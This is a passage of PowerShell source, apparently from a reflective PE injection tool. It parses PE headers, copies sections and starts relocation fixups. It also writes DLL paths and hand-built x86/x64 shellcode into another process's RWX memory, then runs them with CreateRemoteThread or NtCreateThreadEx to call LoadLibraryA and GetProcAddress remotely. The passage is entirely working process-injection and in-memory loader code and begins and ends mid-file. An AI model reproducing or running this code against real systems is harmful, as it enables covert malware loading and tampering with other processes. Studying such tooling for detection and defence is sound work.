  927.         if (($Result -eq $false) -or ($ErrorCode -ne 0))
  928.         {
  929.  
  930.         }
  931.  
  932.         [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
  933.     }
  934.  
  935.  
  936.     Function Create-RemoteThread
  937.     {
  938.         Param(
  939.         [Parameter(Position = 1, Mandatory = $true)]
  940.         [IntPtr]
  941.         $ProcessHandle,
  942.  
  943.         [Parameter(Position = 2, Mandatory = $true)]
  944.         [IntPtr]
  945.         $StartAddress,
  946.  
  947.         [Parameter(Position = 3, Mandatory = $false)]
  948.         [IntPtr]
  949.         $ArgumentPtr = [IntPtr]::Zero,
  950.  
  951.         [Parameter(Position = 4, Mandatory = $true)]
  952.         [System.Object]
  953.         $Win32Functions
  954.         )
  955.  
  956.         [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero
  957.  
  958.         $OSVersion = [Environment]::OSVersion.Version
  959.  
  960.         if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
  961.         {
  962.  
  963.             $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
  964.             $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
  965.             if ($RemoteThreadHandle -eq [IntPtr]::Zero)
  966.             {
  967.                 Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError"
  968.             }
  969.         }
  970.  
  971.         else
  972.         {
  973.  
  974.             $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
  975.         }
  976.  
  977.         if ($RemoteThreadHandle -eq [IntPtr]::Zero)
  978.         {
  979.             Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop
  980.         }
  981.  
  982.         return $RemoteThreadHandle
  983.     }
  984.  
  985.  
  986.  
  987.     Function Get-ImageNtHeaders
  988.     {
  989.         Param(
  990.         [Parameter(Position = 0, Mandatory = $true)]
  991.         [IntPtr]
  992.         $PEHandle,
  993.  
  994.         [Parameter(Position = 1, Mandatory = $true)]
  995.         [System.Object]
  996.         $Win32Types
  997.         )
  998.  
  999.         $NtHeadersInfo = New-Object System.Object
  1000.  
  1001.  
  1002.         $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)
  1003.  
  1004.  
  1005.         [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
  1006.         $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
  1007.         $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)
  1008.  
  1009.  
  1010.         if ($imageNtHeaders64.Signature -ne 0x00004550)
  1011.         {
  1012.             throw "Invalid IMAGE_NT_HEADER signature."
  1013.         }
  1014.  
  1015.         if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
  1016.         {
  1017.             $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
  1018.             $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true
  1019.         }
  1020.         else
  1021.         {
  1022.             $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)
  1023.             $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
  1024.             $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
  1025.         }
  1026.  
  1027.         return $NtHeadersInfo
  1028.     }
  1029.  
  1030.  
  1031.  
  1032.     Function Get-PEBasicInfo
  1033.     {
  1034.         Param(
  1035.         [Parameter( Position = 0, Mandatory = $true )]
  1036.         [Byte[]]
  1037.         $PEBytes,
  1038.  
  1039.         [Parameter(Position = 1, Mandatory = $true)]
  1040.         [System.Object]
  1041.         $Win32Types
  1042.         )
  1043.  
  1044.         $PEInfo = New-Object System.Object
  1045.  
  1046.  
  1047.         [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)
  1048.         [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null
  1049.  
  1050.  
  1051.         $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types
  1052.  
  1053.  
  1054.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
  1055.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)
  1056.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
  1057.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)
  1058.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)
  1059.  
  1060.  
  1061.         [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)
  1062.  
  1063.         return $PEInfo
  1064.     }
  1065.  
  1066.  
  1067.  
  1068.  
  1069.     Function Get-PEDetailedInfo
  1070.     {
  1071.         Param(
  1072.         [Parameter( Position = 0, Mandatory = $true)]
  1073.         [IntPtr]
  1074.         $PEHandle,
  1075.  
  1076.         [Parameter(Position = 1, Mandatory = $true)]
  1077.         [System.Object]
  1078.         $Win32Types,
  1079.  
  1080.         [Parameter(Position = 2, Mandatory = $true)]
  1081.         [System.Object]
  1082.         $Win32Constants
  1083.         )
  1084.  
  1085.         if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
  1086.         {
  1087.             throw 'PEHandle is null or IntPtr.Zero'
  1088.         }
  1089.  
  1090.         $PEInfo = New-Object System.Object
  1091.  
  1092.  
  1093.         $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types
  1094.  
  1095.  
  1096.         $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
  1097.         $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
  1098.         $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
  1099.         $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)
  1100.         $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
  1101.  
  1102.         if ($PEInfo.PE64Bit -eq $true)
  1103.         {
  1104.             [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
  1105.             $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
  1106.         }
  1107.         else
  1108.         {
  1109.             [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
  1110.             $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
  1111.         }
  1112.  
  1113.         if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL)
  1114.         {
  1115.             $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'
  1116.         }
  1117.         elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE)
  1118.         {
  1119.             $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE'
  1120.         }
  1121.         else
  1122.         {
  1123.             Throw "PE file is not an EXE or DLL"
  1124.         }
  1125.  
  1126.         return $PEInfo
  1127.     }
  1128.  
  1129.  
  1130.     Function Import-DllInRemoteProcess
  1131.     {
  1132.         Param(
  1133.         [Parameter(Position=0, Mandatory=$true)]
  1134.         [IntPtr]
  1135.         $RemoteProcHandle,
  1136.  
  1137.         [Parameter(Position=1, Mandatory=$true)]
  1138.         [IntPtr]
  1139.         $ImportDllPathPtr
  1140.         )
  1141.  
  1142.         $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  1143.  
  1144.         $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
  1145.         $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
  1146.         $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1147.         if ($RImportDllPathPtr -eq [IntPtr]::Zero)
  1148.         {
  1149.             Throw "Unable to allocate memory in the remote process"
  1150.         }
  1151.  
  1152.         [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
  1153.         $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)
  1154.  
  1155.         if ($Success -eq $false)
  1156.         {
  1157.             Throw "Unable to write DLL path to remote process memory"
  1158.         }
  1159.         if ($DllPathSize -ne $NumBytesWritten)
  1160.         {
  1161.             Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
  1162.         }
  1163.  
  1164.         $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
  1165.         $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA")
  1166.  
  1167.         [IntPtr]$DllAddress = [IntPtr]::Zero
  1168.  
  1169.  
  1170.         if ($PEInfo.PE64Bit -eq $true)
  1171.         {
  1172.  
  1173.             $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1174.             if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
  1175.             {
  1176.                 Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
  1177.             }
  1178.  
  1179.  
  1180.  
  1181.             $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
  1182.             $LoadLibrarySC2 = @(0x48, 0xba)
  1183.             $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
  1184.             $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  1185.  
  1186.             $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)
  1187.             $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
  1188.             $SCPSMemOriginal = $SCPSMem
  1189.  
  1190.             Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
  1191.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
  1192.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
  1193.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1194.             Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem
  1195.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)
  1196.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
  1197.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1198.             Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem
  1199.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)
  1200.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
  1201.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1202.             Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
  1203.             $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)
  1204.  
  1205.  
  1206.             $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  1207.             if ($RSCAddr -eq [IntPtr]::Zero)
  1208.             {
  1209.                 Throw "Unable to allocate memory in the remote process for shellcode"
  1210.             }
  1211.  
  1212.             $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
  1213.             if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
  1214.             {
  1215.                 Throw "Unable to write shellcode to remote process memory."
  1216.             }
  1217.  
  1218.             $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
  1219.             $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  1220.             if ($Result -ne 0)
  1221.             {
  1222.                 Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  1223.             }
  1224.  
  1225.  
  1226.             [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1227.             $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
  1228.             if ($Result -eq $false)
  1229.             {
  1230.                 Throw "Call to ReadProcessMemory failed"
  1231.             }
  1232.             [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
  1233.  
  1234.             $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1235.             $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1236.         }
  1237.         else
  1238.         {
  1239.             [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
  1240.             $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  1241.             if ($Result -ne 0)
  1242.             {
  1243.                 Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  1244.             }
  1245.  
  1246.             [Int32]$ExitCode = 0
  1247.             $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
  1248.             if (($Result -eq 0) -or ($ExitCode -eq 0))
  1249.             {
  1250.                 Throw "Call to GetExitCodeThread failed"
  1251.             }
  1252.  
  1253.             [IntPtr]$DllAddress = [IntPtr]$ExitCode
  1254.         }
  1255.  
  1256.         $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1257.  
  1258.         return $DllAddress
  1259.     }
  1260.  
  1261.  
  1262.     Function Get-RemoteProcAddress
  1263.     {
  1264.         Param(
  1265.         [Parameter(Position=0, Mandatory=$true)]
  1266.         [IntPtr]
  1267.         $RemoteProcHandle,
  1268.  
  1269.         [Parameter(Position=1, Mandatory=$true)]
  1270.         [IntPtr]
  1271.         $RemoteDllHandle,
  1272.  
  1273.         [Parameter(Position=2, Mandatory=$true)]
  1274.         [IntPtr]
  1275.         $FunctionNamePtr,
  1276.  
  1277.         [Parameter(Position=3, Mandatory=$true)]
  1278.         [Bool]
  1279.         $LoadByOrdinal
  1280.         )
  1281.  
  1282.         $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  1283.  
  1284.         [IntPtr]$RFuncNamePtr = [IntPtr]::Zero
  1285.  
  1286.         if (-not $LoadByOrdinal)
  1287.         {
  1288.             $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr)
  1289.  
  1290.  
  1291.             $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
  1292.             $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1293.             if ($RFuncNamePtr -eq [IntPtr]::Zero)
  1294.             {
  1295.                 Throw "Unable to allocate memory in the remote process"
  1296.             }
  1297.  
  1298.             [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
  1299.             $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)
  1300.             if ($Success -eq $false)
  1301.             {
  1302.                 Throw "Unable to write DLL path to remote process memory"
  1303.             }
  1304.             if ($FunctionNameSize -ne $NumBytesWritten)
  1305.             {
  1306.                 Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
  1307.             }
  1308.         }
  1309.  
  1310.         else
  1311.         {
  1312.             $RFuncNamePtr = $FunctionNamePtr
  1313.         }
  1314.  
  1315.  
  1316.         $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
  1317.         $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress")
  1318.  
  1319.  
  1320.  
  1321.         $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1322.         if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
  1323.         {
  1324.             Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress"
  1325.         }
  1326.  
  1327.  
  1328.  
  1329.  
  1330.         [Byte[]]$GetProcAddressSC = @()
  1331.         if ($PEInfo.PE64Bit -eq $true)
  1332.         {
  1333.             $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
  1334.             $GetProcAddressSC2 = @(0x48, 0xba)
  1335.             $GetProcAddressSC3 = @(0x48, 0xb8)
  1336.             $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9)
  1337.             $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  1338.         }
  1339.         else
  1340.         {
  1341.             $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
  1342.             $GetProcAddressSC2 = @(0xb9)
  1343.             $GetProcAddressSC3 = @(0x51, 0x50, 0xb8)
  1344.             $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9)
  1345.             $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
  1346.         }
  1347.         $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)
  1348.         $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
  1349.         $SCPSMemOriginal = $SCPSMem
  1350.  
  1351.         Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem
  1352.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length)
  1353.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false)
  1354.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1355.         Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem
  1356.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length)
  1357.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false)
  1358.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1359.         Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem
  1360.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length)
  1361.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false)
  1362.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1363.         Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem
  1364.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length)
  1365.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false)
  1366.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1367.         Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem
  1368.         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length)
  1369.  
  1370.         $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  1371.         if ($RSCAddr -eq [IntPtr]::Zero)
  1372.         {
  1373.             Throw "Unable to allocate memory in the remote process for shellcode"
  1374.         }
  1375.         [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
  1376.         $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
  1377.         if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
  1378.         {
  1379.             Throw "Unable to write shellcode to remote process memory."
  1380.         }
  1381.  
  1382.         $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
  1383.         $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  1384.         if ($Result -ne 0)
  1385.         {
  1386.             Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  1387.         }
  1388.  
  1389.  
  1390.         [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1391.         $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
  1392.         if (($Result -eq $false) -or ($NumBytesWritten -eq 0))
  1393.         {
  1394.             Throw "Call to ReadProcessMemory failed"
  1395.         }
  1396.         [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
  1397.  
  1398.  
  1399.         $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1400.         $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1401.  
  1402.         if (-not $LoadByOrdinal)
  1403.         {
  1404.             $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1405.         }
  1406.  
  1407.         return $ProcAddress
  1408.     }
  1409.  
  1410.  
  1411.     Function Copy-Sections
  1412.     {
  1413.         Param(
  1414.         [Parameter(Position = 0, Mandatory = $true)]
  1415.         [Byte[]]
  1416.         $PEBytes,
  1417.  
  1418.         [Parameter(Position = 1, Mandatory = $true)]
  1419.         [System.Object]
  1420.         $PEInfo,
  1421.  
  1422.         [Parameter(Position = 2, Mandatory = $true)]
  1423.         [System.Object]
  1424.         $Win32Functions,
  1425.  
  1426.         [Parameter(Position = 3, Mandatory = $true)]
  1427.         [System.Object]
  1428.         $Win32Types
  1429.         )
  1430.  
  1431.         for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
  1432.         {
  1433.             [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
  1434.             $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
  1435.  
  1436.  
  1437.             [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
  1438.  
  1439.  
  1440.  
  1441.  
  1442.  
  1443.             $SizeOfRawData = $SectionHeader.SizeOfRawData
  1444.  
  1445.             if ($SectionHeader.PointerToRawData -eq 0)
  1446.             {
  1447.                 $SizeOfRawData = 0
  1448.             }
  1449.  
  1450.             if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
  1451.             {
  1452.                 $SizeOfRawData = $SectionHeader.VirtualSize
  1453.             }
  1454.  
  1455.             if ($SizeOfRawData -gt 0)
  1456.             {
  1457.                 Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
  1458.                 [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
  1459.             }
  1460.  
  1461.  
  1462.             if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
  1463.             {
  1464.                 $Difference = $SectionHeader.VirtualSize - $SizeOfRawData
  1465.                 [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
  1466.                 Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null
  1467.                 $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
  1468.             }
  1469.         }
  1470.     }
  1471.  
  1472.  
  1473.     Function Update-MemoryAddresses
  1474.     {
  1475.         Param(
  1476.         [Parameter(Position = 0, Mandatory = $true)]
  1477.         [System.Object]
  1478.         $PEInfo,
  1479.  
  1480.         [Parameter(Position = 1, Mandatory = $true)]
  1481.         [Int64]
  1482.         $OriginalImageBase,
  1483.  
  1484.         [Parameter(Position = 2, Mandatory = $true)]
  1485.         [System.Object]
  1486.         $Win32Constants,
  1487.  
  1488.         [Parameter(Position = 3, Mandatory = $true)]
  1489.         [System.Object]
  1490.         $Win32Types
  1491.         )
  1492.  
  1493.         [Int64]$BaseDifference = 0
  1494.         $AddDifference = $true
  1495.         [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)
  1496.  
  1497.  
  1498.         if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
  1499.                 -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))
  1500.         {
  1501.             return
  1502.         }
  1503.  
  1504.  
